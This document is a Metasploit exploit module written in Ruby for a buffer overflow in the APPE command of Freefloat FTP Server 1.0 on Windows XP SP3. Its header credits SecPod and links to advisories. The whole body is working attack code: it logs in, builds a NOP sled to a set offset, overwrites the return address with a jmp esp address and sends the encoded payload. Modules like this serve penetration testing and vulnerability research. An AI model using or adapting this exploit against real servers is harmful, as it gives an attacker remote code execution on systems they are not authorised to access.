##############################################################################
#
# Title    : Freefloat FTP Server APPE Command Overflow Exploit - MSF
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Vendor   : http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php
# Advisory : http://secpod.org/blog/?p=310
#            http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : Freefloat FTP Server Version 1.0
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: freefloat_ftp_apee_cmd.rb 2011-07-19 03:13:45Z veerendragg $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Freefloat FTP Server APPE Command Overflow',
      'Description'    => %q{
            This module exploits a buffer overflow vulnerability
            found in the APPE command in the Freefloat FTP server.
      },
      'Author'         =>
        [
          'veerendragg @ SecPod',  # Initial Discovery
          'veerendragg @ SecPod'  # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 1.0 $',
      'References'     =>
        [
          [ 'URL', 'http://secpod.org/blog/?p=310' ],
          [ 'URL', 'http://secpod.org/blog/?p=353' ],
          [ 'URL', 'http://secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space' => 500,
          'BadChars' => "\x00\x0a\x0d",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3 EN',
            {
              'Ret' => 0x7e429353, # jmp esp from user32.dll
              'Offset' => 246
            }
          ],
        ],
      'DisclosureDate' => 'Aug 07 2011',
      'DefaultTarget'  => 0))
  end

  def exploit
    connect_login

    print_status("Trying target #{target.name}...")

    buf = make_nops(target['Offset'])
    buf << [target.ret].pack('V')
    buf << make_nops(30)
    buf << payload.encoded

    print_status("Sending exploit buffer...")
    send_cmd( ['APPE', buf] , false )

    handler
    disconnect
  end

end